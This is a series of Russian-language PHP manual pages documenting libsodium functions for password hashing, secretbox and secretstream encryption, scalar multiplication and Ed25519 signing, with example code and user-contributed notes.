int Число, указывающее используемый алгоритм хеширования. По умолчанию задана SODIUM_CRYPTO_PWHASH_ALG_DEFAULT (рекомендуемый в настоящее время алгоритм, который может быть изменён с при смене версии libsodium на другую), или явно используя константу SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13, представляющую версию алгоритма Argon2id 1.3.

Возвращаемые значения

Возвращает захешированный пароль. Возвращаемое значение является бинарной строкой, а не ASCII-представлением и не содержит никакой дополнительной информации о параметрах, с которыми генерировался хеш. Таким образом вам необходимо самим сохранять значения использованных параметров для проверки корректности хеша в будущем. Чтобы всем этим не заниматься - используйте функцию sodium_crypto_pwhash_str().

Примеры

Пример #1 Пример использования password_hash()

<?php
//Для дальнейшенй проверки необходимо сохранить соль
$salt = random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES);
// Используем bin2hex для удобочитаемости
echo bin2hex(
sodium_crypto_pwhash(
16, // == 128 бит
'password',
$salt,
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13
)
);
?>

Результатом выполнения данного примера будет что-то подобное:

a18f346ba57992eb7e4ae6abf3fd30ee

User Contributed Notes

craig at craigfrancis dot co dot uk 08-Mar-2020 06:08
When encrypting, you would ideally use a randomly generated key, as that's considerably harder to guess.

For example, sodium_crypto_aead_chacha20poly1305_ietf_keygen()

But if you need to use a password to encrypt/decrypt, you can use sodium_crypto_pwhash():

<?php

function secrets_encrypt($password, $secret) {

  $config = [
      'size'      => SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES,
      'salt'      => random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES),
      'limit_ops' => SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE,
      'limit_mem' => SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE,
      'alg'       => SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13,
      'nonce'     => random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES),
    ];

  // $config['limit_ops'] = SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE;
  // $config['limit_mem'] = SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE;

  $key = sodium_crypto_pwhash(
      $config['size'],
      $password,
      $config['salt'],
      $config['limit_ops'],
      $config['limit_mem'],
      $config['alg'],
    );

  $encrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
      $secret,
      $config['nonce'], // Associated Data
      $config['nonce'],
      $key
    );

  return [
      'config' => array_map('base64_encode', $config),
      'encrypted' => base64_encode($encrypted),
    ];

}

$password = 'YoxPR4QLeZ';
$secret   = 'This-is-my-secret';

$data = secrets_encrypt($password, $secret);

?>

To decrypt with that password, using the same limits:

<?php

function secrets_decrypt($password, $data) {

  $config = array_map('base64_decode', $data['config']);
  $encrypted = base64_decode($data['encrypted']);

  $key = sodium_crypto_pwhash(
      $config['size'],
      $password,
      $config['salt'],
      $config['limit_ops'],
      $config['limit_mem'],
      $config['alg'],
    );

  return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
      $encrypted,
      $config['nonce'], // Associated Data
      $config['nonce'],
      $key
    );

}

$secret = secrets_decrypt($password, $data);

?>


Псевдоним sodium_crypto_box_publickey_from_secretkey

  • « sodium_crypto_pwhash
  • sodium_crypto_scalarmult_ristretto255_base »
  • PHP Manual
  • Функции Sodium
  • Псевдоним sodium_crypto_box_publickey_from_secretkey

sodium_crypto_scalarmult_base

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_scalarmult_base — Псевдоним sodium_crypto_box_publickey_from_secretkey()

Описание

Функция является псевдонимом: sodium_crypto_box_publickey_from_secretkey().

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет открытый ключ из закрытого ключа

  • « sodium_crypto_scalarmult_base
  • sodium_crypto_scalarmult_ristretto255 »
  • PHP Manual
  • Функции Sodium
  • Вычисляет открытый ключ из закрытого ключа

sodium_crypto_scalarmult_ristretto255_base

(PHP 8 >= 8.1.1)

sodium_crypto_scalarmult_ristretto255_base — Вычисляет открытый ключ из закрытого ключа

Описание

sodium_crypto_scalarmult_ristretto255_base(string $n): string

Учитывая закрытый ключ, вычисляет соответствующий открытый ключ. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

n

Закрытый ключ.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Смотрите также

  • sodium_crypto_scalarmult_ristretto255() - Вычисляет общий секрет

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет общий секрет

  • « sodium_crypto_scalarmult_ristretto255_base
  • sodium_crypto_scalarmult »
  • PHP Manual
  • Функции Sodium
  • Вычисляет общий секрет

sodium_crypto_scalarmult_ristretto255

(PHP 8 >= 8.1.1)

sodium_crypto_scalarmult_ristretto255 — Вычисляет общий секрет

Описание

sodium_crypto_scalarmult_ristretto255(string $n, string $p): string

Вычисляет скаляр n, умноженный на точку p. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

n

Скаляр, который обычно является закрытым ключом.

p

Точка (x-координата), которая обычно является открытым ключом.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Смотрите также

  • sodium_crypto_scalarmult_ristretto255_base() - Вычисляет открытый ключ из закрытого ключа

User Contributed Notes

There are no user contributed notes for this page.


Вычислить общий секрет на основании секретного ключа пользователя и открытого ключа другого пользователя

  • « sodium_crypto_scalarmult_ristretto255
  • sodium_crypto_secretbox_keygen »
  • PHP Manual
  • Функции Sodium
  • Вычислить общий секрет на основании секретного ключа пользователя и открытого ключа другого пользователя

sodium_crypto_scalarmult

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_scalarmult — Вычислить общий секрет на основании секретного ключа пользователя и открытого ключа другого пользователя

Описание

sodium_crypto_scalarmult(string $n, string $p): string

Эллиптическая кривая Диффи-Хеллмана. Вычисляет скаляр n умноженный на точку p на эллиптической кривой.

Список параметров

n

скаляр, который обычно является секретным ключом

p

точка (координата x), которая обычно является открытым ключом

Возвращаемые значения

32-байтовая случайная строка.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный ключ для sodium_crypto_secretbox

  • « sodium_crypto_scalarmult
  • sodium_crypto_secretbox_open »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ для sodium_crypto_secretbox

sodium_crypto_secretbox_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox_keygen — Создаёт случайный ключ для sodium_crypto_secretbox

Описание

sodium_crypto_secretbox_keygen(): string

Создаёт случайный ключ для sodium_crypto_secretbox() и sodium_crypto_secretbox_open().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сгенерированную строку криптографически безопасных случайных байтов.

Примеры

Пример #1 Пример использования sodium_crypto_secretbox_keygen()

<?php
$key = sodium_crypto_secretbox_keygen();
var_dump( sodium_bin2hex( $key ) );
?>

Результатом выполнения данного примера будет что-то подобное:

string(64) "88bd1dc51ec81984f3ddc5a8f59a3d95b647e2da3e879f1b9ceb0abd89e7286c"

Пример #2 Сравнение sodium_crypto_secretbox_keygen() с random_bytes()

<?php
$key = sodium_crypto_secretbox_keygen();
$bytes = random_bytes( SODIUM_CRYPTO_SECRETBOX_KEYBYTES );
var_dump( mb_strlen( $key, '8bit' ) === mb_strlen( $bytes, '8bit' ) );
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_bin2hex() - Кодировать в шестнадцатеричное представление
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

There are no user contributed notes for this page.


Расшифровка с использованием общего ключа с проверкой подлинности

  • « sodium_crypto_secretbox_keygen
  • sodium_crypto_secretbox »
  • PHP Manual
  • Функции Sodium
  • Расшифровка с использованием общего ключа с проверкой подлинности

sodium_crypto_secretbox_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox_open — Расшифровка с использованием общего ключа с проверкой подлинности

Описание

sodium_crypto_secretbox_open(string $ciphertext, string $nonce, string $key): string|false

Расшифровывает зашифрованное сообщение симметричным (общим) ключом.

Список параметров

ciphertext

Должен быть в формате, предоставленном sodium_crypto_secretbox() (зашифрованный текст и тег, объединённые).

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key

Ключ шифрования (256 бит).

Возвращаемые значения

Расшифрованная строка в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

  • Выбрасывается SodiumException, если длина байтов параметра nonce отличается от SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (24 байта).
  • Выбрасывается SodiumException, если длина байтов параметра key отличается от SODIUM_CRYPTO_SECRETBOX_KEYBYTES (32 байта).

Примеры

Пример #1 Пример использования sodium_crypto_secretbox_open()

<?php
// $key должен храниться в секрете.
$key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
// Не используйте $nonce повторно с тем же ключом
$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ciphertext = sodium_crypto_secretbox('message to be encrypted', $nonce, $key);

// Для расшифровки $ciphertext требуются те же имя и ключ.
$plaintext = sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
if ($plaintext !== false) {
echo $plaintext . PHP_EOL;
}
?>

Результат выполнения данного примера:

message to be encrypted

Смотрите также

  • sodium_crypto_secretbox() - Шифрование с общим ключом с проверкой подлинности
  • sodium_crypto_secretbox_keygen() - Создаёт случайный ключ для sodium_crypto_secretbox
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

khalyomede at gmail dot com 31-Dec-2018 11:26
This method will return a string, or false if the data failed to be decrypted.

$key = 'secret';
$data = 'binarydata';
$nonce = random_bytes(SODIUM_CRYPT_SECRETBOX_NONCEBYTES);

$decrypted = sodium_crypto_secretbox_open($data, $nonce, $key);

if ($decrypted === false) {
  throw new Exception('failed to decrypt data');
}


Шифрование с общим ключом с проверкой подлинности

  • « sodium_crypto_secretbox_open
  • sodium_crypto_secretstream_xchacha20poly1305_init_pull »
  • PHP Manual
  • Функции Sodium
  • Шифрование с общим ключом с проверкой подлинности

sodium_crypto_secretbox

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox — Шифрование с общим ключом с проверкой подлинности

Описание

sodium_crypto_secretbox(string $message, string $nonce, string $key): string

Шифрование сообщения симметричным (общим) ключом.

Список параметров

message

Текстовое сообщение, которое нужно зашифровать.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key

Ключ шифрования (256 бит).

Возвращаемые значения

Возвращает зашифрованную строку.

Ошибки

  • Выбрасывается SodiumException, если длина байтов параметра nonce отличается от SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (24 байта).
  • Выбрасывается SodiumException, если длина байтов параметра key отличается от SODIUM_CRYPTO_SECRETBOX_KEYBYTES (32 байта).
  • Выбрасывает SodiumException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sodium_crypto_secretbox()

<?php
// $key должен храниться в секрете.
$key = sodium_crypto_secretbox_keygen();
// Не используйте $nonce повторно с тем же ключом
$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$plaintext = "message to be encrypted";
$ciphertext = sodium_crypto_secretbox($plaintext, $nonce, $key);

var_dump(bin2hex($ciphertext));
// Для расшифровки $ciphertext требуются те же имя и ключ.
var_dump(sodium_crypto_secretbox_open($ciphertext, $nonce, $key));
?>

Результатом выполнения данного примера будет что-то подобное:

string(78) "3a1fa3e9f7b72ef8be51d40abf8e296c6899c185d07b18b4c93e7f26aa776d24c50852cd6b1076"
string(23) "message to be encrypted"

Смотрите также

  • sodium_crypto_secretbox_open() - Расшифровка с использованием общего ключа с проверкой подлинности
  • sodium_crypto_secretbox_keygen() - Создаёт случайный ключ для sodium_crypto_secretbox
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

celso fontes 08-Jul-2020 02:20
An example to how encrypt or decrypt using sodium:

<?php

$key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ciphertext = sodium_crypto_secretbox("Hello World !", $nonce, $key);

$plaintext = sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
if ($plaintext === false) {
    throw new Exception("Bad ciphertext");
}

echo $plaintext;


Инициализирует контекст secretstream для дешифрования

  • « sodium_crypto_secretbox
  • sodium_crypto_secretstream_xchacha20poly1305_init_push »
  • PHP Manual
  • Функции Sodium
  • Инициализирует контекст secretstream для дешифрования

sodium_crypto_secretstream_xchacha20poly1305_init_pull

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_init_pull — Инициализирует контекст secretstream для дешифрования

Описание

sodium_crypto_secretstream_xchacha20poly1305_init_pull(string $header, string $key): string

Инициализирует контекст secretstream для дешифрования

Список параметров

header

Заголовок secretstream. Должно быть одно из значений, созданных sodium_crypto_secretstream_xchacha20poly1305_init_push().

key

Ключ шифрования (256 бит).

Возвращаемые значения

Состояние secretstream.

Примеры

Пример #1 Пример использования sodium_crypto_secretstream_xchacha20poly1305_init_pull()

<?php
function decrypt_file(string $inputFilePath, string $outputFilePath, string $key): void
{
$inputFile = fopen($inputFilePath, 'rb');
$outputFile = fopen($outputFilePath, 'wb');
$header = fread($inputFile, 24);

$state = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $key);
$inputFileSize = fstat($inputFile)['size'];

// Расшифровка файла и запись содержимого в выходной файл:
for ($i = 24; $i < $inputFileSize; $i += 8192) {
$ctxt_chunk = fread($inputFile, 8192);

// Мы не используем $tag, но в реальных протоколах вы можете использовать его для шифрования, например,
// инициировать смену ключа или указать конец файла. Затем при расшифровке
// вы можете подтвердить это поведение.
[$ptxt_chunk, $tag] = sodium_crypto_secretstream_xchacha20poly1305_pull($state, $ctxt_chunk);
fwrite($outputFile, $ptxt_chunk);
}

sodium_memzero($state);
fclose($inputFile);
fclose($outputFile);
}

// sodium_crypto_secretstream_xchacha20poly1305_keygen()
$key = sodium_base642bin('MS0lzb7HC+thY6jY01pkTE/cwsQxnRq0/2L1eL4Hxn8=', SODIUM_BASE64_VARIANT_ORIGINAL);

$example = sodium_hex2bin('971e33b255f0990ef3931caf761c59136efa77b434832f28ec719e3ff73f5aec38b3bba1574ab5b70a8844d8da36a668e802cfea2c');
file_put_contents('hello.enc', $example);
decrypt_file('hello.enc', 'hello.txt.decrypted', $key);
var_dump(file_get_contents('hello.txt.decrypted'));
?>

Результатом выполнения данного примера будет что-то подобное:

string(12) "Hello world!"

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует контекст secretstream для шифрования

  • « sodium_crypto_secretstream_xchacha20poly1305_init_pull
  • sodium_crypto_secretstream_xchacha20poly1305_keygen »
  • PHP Manual
  • Функции Sodium
  • Инициализирует контекст secretstream для шифрования

sodium_crypto_secretstream_xchacha20poly1305_init_push

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_init_push — Инициализирует контекст secretstream для шифрования

Описание

sodium_crypto_secretstream_xchacha20poly1305_init_push(string $key): array

Инициализирует контекст secretstream для шифрования

Список параметров

key

Ключ криптографии. Смотрите sodium_crypto_secretstream_xchacha20poly1305_keygen().

Возвращаемые значения

Массив с двумя строковыми значениями:

  • Состояние secretstream, необходимое для дальнейших действий
  • Заголовок secretstream, который необходимо предоставить получателю, чтобы он мог извлекать данные.

Примеры

Пример #1 Пример использования sodium_crypto_secretstream_xchacha20poly1305_init_push()

<?php
function encrypt_file(string $inputFilePath, string $outputFilePath, string $key): void
{
[$state, $header] = sodium_crypto_secretstream_xchacha20poly1305_init_push($key);

$inputFile = fopen($inputFilePath, 'rb');
$outputFile = fopen($outputFilePath, 'wb');
// Запись заголовка:
fwrite($outputFile, $header);
$inputFileSize = fstat($inputFile)['size'];

// Зашифровка файла и запись его содержимого в выходной файл:
for ($i = 0; $i < $inputFileSize; $i += 8175) {
$ptxt_chunk = fread($inputFile, 8175);
$ctxt_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($state, $ptxt_chunk);
fwrite($outputFile, $ctxt_chunk);
}

sodium_memzero($state);
fclose($inputFile);
fclose($outputFile);
}

// sodium_crypto_secretstream_xchacha20poly1305_keygen()
$key = sodium_base642bin('MS0lzb7HC+thY6jY01pkTE/cwsQxnRq0/2L1eL4Hxn8=', SODIUM_BASE64_VARIANT_ORIGINAL);

file_put_contents('hello.txt', 'Hello world!');
encrypt_file('hello.txt', 'hello.txt.encrypted', $key);
var_dump(sodium_bin2hex(file_get_contents('hello.txt.encrypted')));
?>

Результатом выполнения данного примера будет что-то подобное:

string(106) "971e33b255f0990ef3931caf761c59136efa77b434832f28ec719e3ff73f5aec38b3bba1574ab5b70a8844d8da36a668e802cfea2c"

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный ключ secretstream

  • « sodium_crypto_secretstream_xchacha20poly1305_init_push
  • sodium_crypto_secretstream_xchacha20poly1305_pull »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ secretstream

sodium_crypto_secretstream_xchacha20poly1305_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_keygen — Создаёт случайный ключ secretstream

Описание

sodium_crypto_secretstream_xchacha20poly1305_keygen(): string

Создаёт случайный ключ secretstream

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку случайных байтов.

User Contributed Notes

There are no user contributed notes for this page.


Расшифровывает часть данных из зашифрованного потока

  • « sodium_crypto_secretstream_xchacha20poly1305_keygen
  • sodium_crypto_secretstream_xchacha20poly1305_push »
  • PHP Manual
  • Функции Sodium
  • Расшифровывает часть данных из зашифрованного потока

sodium_crypto_secretstream_xchacha20poly1305_pull

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_pull — Расшифровывает часть данных из зашифрованного потока

Описание

sodium_crypto_secretstream_xchacha20poly1305_pull(string &$state, string $ciphertext, string $additional_data = ""): array|false

Расшифровывает часть данных из зашифрованного потока.

Список параметров

state

Смотрите sodium_crypto_secretstream_xchacha20poly1305_init_pull() и sodium_crypto_secretstream_xchacha20poly1305_init_push()

ciphertext

Фрагмент зашифрованного текста, который нужно расшифровать.

additional_data

Необязательные дополнительные данные для включения в тег аутентификации.

Возвращаемые значения

Массив с двумя значениями:

  • Строка (string); Расшифрованный фрагмент

  • Целое число (int); Необязательный тег (если предоставляется во время отправки). Возможные значения:

    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE: самый распространённый тег, который не добавляет никакой информации о характере сообщения.
    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL: указывает, что сообщение отмечает конец потока, и стирает секретный ключ, использованный для шифрования предыдущей последовательности.
    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH: указывает, что сообщение отмечает конец набора сообщений, но не конец потока. Например, огромная строка JSON, отправленная в виде нескольких фрагментов, может использовать этот тег, чтобы указать приложению, что строка завершена и что её можно декодировать. Но сам поток не закрывается и могут последовать дополнительные данные.
    • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY: "забывает" ключ, использованный для шифрования этого и предыдущих сообщений и получает новый секретный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API

  • « sodium_crypto_secretstream_xchacha20poly1305_pull
  • sodium_crypto_secretstream_xchacha20poly1305_rekey »
  • PHP Manual
  • Функции Sodium
  • Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API

sodium_crypto_secretstream_xchacha20poly1305_push

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_push — Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API

Описание

sodium_crypto_secretstream_xchacha20poly1305_push(
string &$state,
string $message,
string $additional_data = "",
int $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE
): string

Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API.

Список параметров

state

Смотрите sodium_crypto_secretstream_xchacha20poly1305_init_pull() и sodium_crypto_secretstream_xchacha20poly1305_init_push()

message

additional_data

tag

Необязательно. Может использоваться для подтверждения поведения дешифрования (т.е. повторного ввода ключей или указания последнего фрагмента в потоке).

  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE: самый распространённый тег, который не добавляет никакой информации о характере сообщения.
  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL: указывает, что сообщение отмечает конец потока, и стирает секретный ключ, использованный для шифрования предыдущей последовательности.
  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH: указывает, что сообщение отмечает конец набора сообщений, но не конец потока. Например, огромная строка JSON, отправленная в виде нескольких фрагментов, может использовать этот тег, чтобы указать приложению, что строка завершена и что её можно декодировать. Но сам поток не закрывается и могут последовать дополнительные данные.
  • SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY: "забывает" ключ, использованный для шифрования этого и предыдущих сообщений и получает новый секретный ключ.

Возвращаемые значения

Возвращает зашифрованный текст.

User Contributed Notes

There are no user contributed notes for this page.


Явно поворачивает ключ в состояние secretstream

  • « sodium_crypto_secretstream_xchacha20poly1305_push
  • sodium_crypto_shorthash_keygen »
  • PHP Manual
  • Функции Sodium
  • Явно поворачивает ключ в состояние secretstream

sodium_crypto_secretstream_xchacha20poly1305_rekey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_rekey — Явно поворачивает ключ в состояние secretstream

Описание

sodium_crypto_secretstream_xchacha20poly1305_rekey(string &$state): void

Явно поворачивает ключ в состояние secretstream. Заменяет переданное значение.

Список параметров

state

Состояние secretstream

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получить случайные байты для ключа

  • « sodium_crypto_secretstream_xchacha20poly1305_rekey
  • sodium_crypto_shorthash »
  • PHP Manual
  • Функции Sodium
  • Получить случайные байты для ключа

sodium_crypto_shorthash_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_shorthash_keygen — Получить случайные байты для ключа

Описание

sodium_crypto_shorthash_keygen(): string

Создаёт ключ для использования с sodium_crypto_shorthash().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет короткий хеш сообщения и ключ

  • « sodium_crypto_shorthash_keygen
  • sodium_crypto_sign_detached »
  • PHP Manual
  • Функции Sodium
  • Вычисляет короткий хеш сообщения и ключ

sodium_crypto_shorthash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_shorthash — Вычисляет короткий хеш сообщения и ключ

Описание

sodium_crypto_shorthash(string $message, string $key): string

sodium_crypto_shorthash() обёртывает хеш-функцию под названием SipHash-2-4, которая идеально подходит для реализации хеш-таблиц, которые не подвержены атакам отказа в обслуживании из-за коллизии хешей (Hash-DoS).

SipHash-2-4 не является криптографической хеш-функцией общего назначения.

Список параметров

message

Сообщение, хеш которого необходимо вычислить.

key

Хеш-ключ.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Подписать сообщение

  • « sodium_crypto_shorthash
  • sodium_crypto_sign_ed25519_pk_to_curve25519 »
  • PHP Manual
  • Функции Sodium
  • Подписать сообщение

sodium_crypto_sign_detached

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_detached — Подписать сообщение

Описание

sodium_crypto_sign_detached(string $message, string $secret_key): string

Подписывает сообщение секретным ключом, который можно проверить с помощью соответствующего открытого ключа. Функция возвращает отсоединённую подпись.

Список параметров

message

Сообщение для подписания.

secret_key

Секретный ключ. Смотрите sodium_crypto_sign_secretkey()

Возвращаемые значения

Криптографическая подпись.

User Contributed Notes

cb at dialogs dot com 12-May-2020 01:06
For those(like me) confused by sodium_crypto_sign() vs. sodium_crypto_sign_detached()

From the libsodium docs https://libsodium.gitbook.io/doc/public-key_cryptography/public-key_signatures

The crypto_sign() function prepends a signature to a message  "Combined mode"

In "detached mode" the signature is stored without attaching a copy of the original message to it.
craig at craigfrancis dot co dot uk 25-Aug-2018 07:33
Here's a quick example on how to use sodium_crypto_sign_detached(); where you have a message that you want to sign, so anyone with the public key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign(), but the returned string does not contain the original message, it is just a signature.

<?php

// $sign_seed = random_bytes(SODIUM_CRYPTO_SIGN_SEEDBYTES);
// $sign_pair = sodium_crypto_sign_seed_keypair($sign_seed);

$sign_pair = sodium_crypto_sign_keypair();
$sign_secret = sodium_crypto_sign_secretkey($sign_pair);
$sign_public = sodium_crypto_sign_publickey($sign_pair);

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$signature = sodium_crypto_sign_detached($message, $sign_secret);

//--------------------------------------------------
// Person 2, verifying

$message_valid = sodium_crypto_sign_verify_detached($signature, $message, $sign_public);

if (!$message_valid) {
    exit('Message has been changed.');
}

?>


Преобразование открытого ключа системы Ed25519 в открытый ключ Curve25519

  • « sodium_crypto_sign_detached
  • sodium_crypto_sign_ed25519_sk_to_curve25519 »
  • PHP Manual
  • Функции Sodium
  • Преобразование открытого ключа системы Ed25519 в открытый ключ Curve25519

sodium_crypto_sign_ed25519_pk_to_curve25519

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_ed25519_pk_to_curve25519 — Преобразование открытого ключа системы Ed25519 в открытый ключ Curve25519

Описание

sodium_crypto_sign_ed25519_pk_to_curve25519(string $public_key): string

Вычисляет бирационально-эквивалентный открытый ключ X25519 для открытого ключа Ed25519.

Список параметров

public_key

Открытый ключ, подходящий для функций crypto_sign.

Возвращаемые значения

Открытый ключ, подходящий для функций crypto_box.

User Contributed Notes

There are no user contributed notes for this page.


Преобразовать секретный ключ из системы Ed25519 в секретный ключ Curve25519

  • « sodium_crypto_sign_ed25519_pk_to_curve25519
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey »
  • PHP Manual
  • Функции Sodium
  • Преобразовать секретный ключ из системы Ed25519 в секретный ключ Curve25519

sodium_crypto_sign_ed25519_sk_to_curve25519

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_ed25519_sk_to_curve25519 — Преобразовать секретный ключ из системы Ed25519 в секретный ключ Curve25519

Описание

sodium_crypto_sign_ed25519_sk_to_curve25519(string $secret_key): string

Вычисляет бирационально-эквивалентный секретный ключ X25519 для секретного ключа Ed25519.

Список параметров

secret_key

Секретный ключ, подходящий для функций crypto_sign.

Возвращаемые значения

Секретный ключ, подходящий для функций crypto_box.

User Contributed Notes

There are no user contributed notes for this page.


Объединяет секретный ключ и открытый ключ вместе

  • « sodium_crypto_sign_ed25519_sk_to_curve25519
  • sodium_crypto_sign_keypair »
  • PHP Manual
  • Функции Sodium
  • Объединяет секретный ключ и открытый ключ вместе

sodium_crypto_sign_keypair_from_secretkey_and_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_keypair_from_secretkey_and_publickey — Объединяет секретный ключ и открытый ключ вместе

Описание

sodium_crypto_sign_keypair_from_secretkey_and_publickey(string $secret_key, string $public_key): string

Объединяет секретный ключ и открытый ключ вместе.

Список параметров

secret_key

Секретный ключ Ed25519

public_key

Открытый ключ Ed25519

Возвращаемые значения

Ключевая пара

User Contributed Notes

There are no user contributed notes for this page.


Произвольно сгенерировать секретный ключ и соответствующий открытый ключ

  • « sodium_crypto_sign_keypair_from_secretkey_and_publickey
  • sodium_crypto_sign_open »
  • PHP Manual
  • Функции Sodium
  • Произвольно сгенерировать секретный ключ и соответствующий открытый ключ

sodium_crypto_sign_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_keypair — Произвольно сгенерировать секретный ключ и соответствующий открытый ключ

Описание

sodium_crypto_sign_keypair(): string

Создаёт случайную пару ключей Ed25519 в виде одной строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ключевая пара Ed25519.

User Contributed Notes

There are no user contributed notes for this page.


Проверить, что подписанное сообщение имеет корректную подпись

  • « sodium_crypto_sign_keypair
  • sodium_crypto_sign_publickey_from_secretkey »
  • PHP Manual
  • Функции Sodium
  • Проверить, что подписанное сообщение имеет корректную подпись

sodium_crypto_sign_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_open — Проверить, что подписанное сообщение имеет корректную подпись

Описание

sodium_crypto_sign_open(string $signed_message, string $public_key): string|false

Проверяет подпись, прикреплённую к сообщению, и возвращает сообщение

Список параметров

signed_message

Сообщение, подписанное sodium_crypto_sign()

public_key

Открытый ключ Ed25519

Возвращаемые значения

В случае успешного выполнения возвращает исходное подписанное сообщение или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает открытый ключ Ed25519 из секретного ключа

  • « sodium_crypto_sign_open
  • sodium_crypto_sign_publickey »
  • PHP Manual
  • Функции Sodium
  • Извлекает открытый ключ Ed25519 из секретного ключа

sodium_crypto_sign_publickey_from_secretkey

(PHP 7 >= 7.2.0, PHP 8)

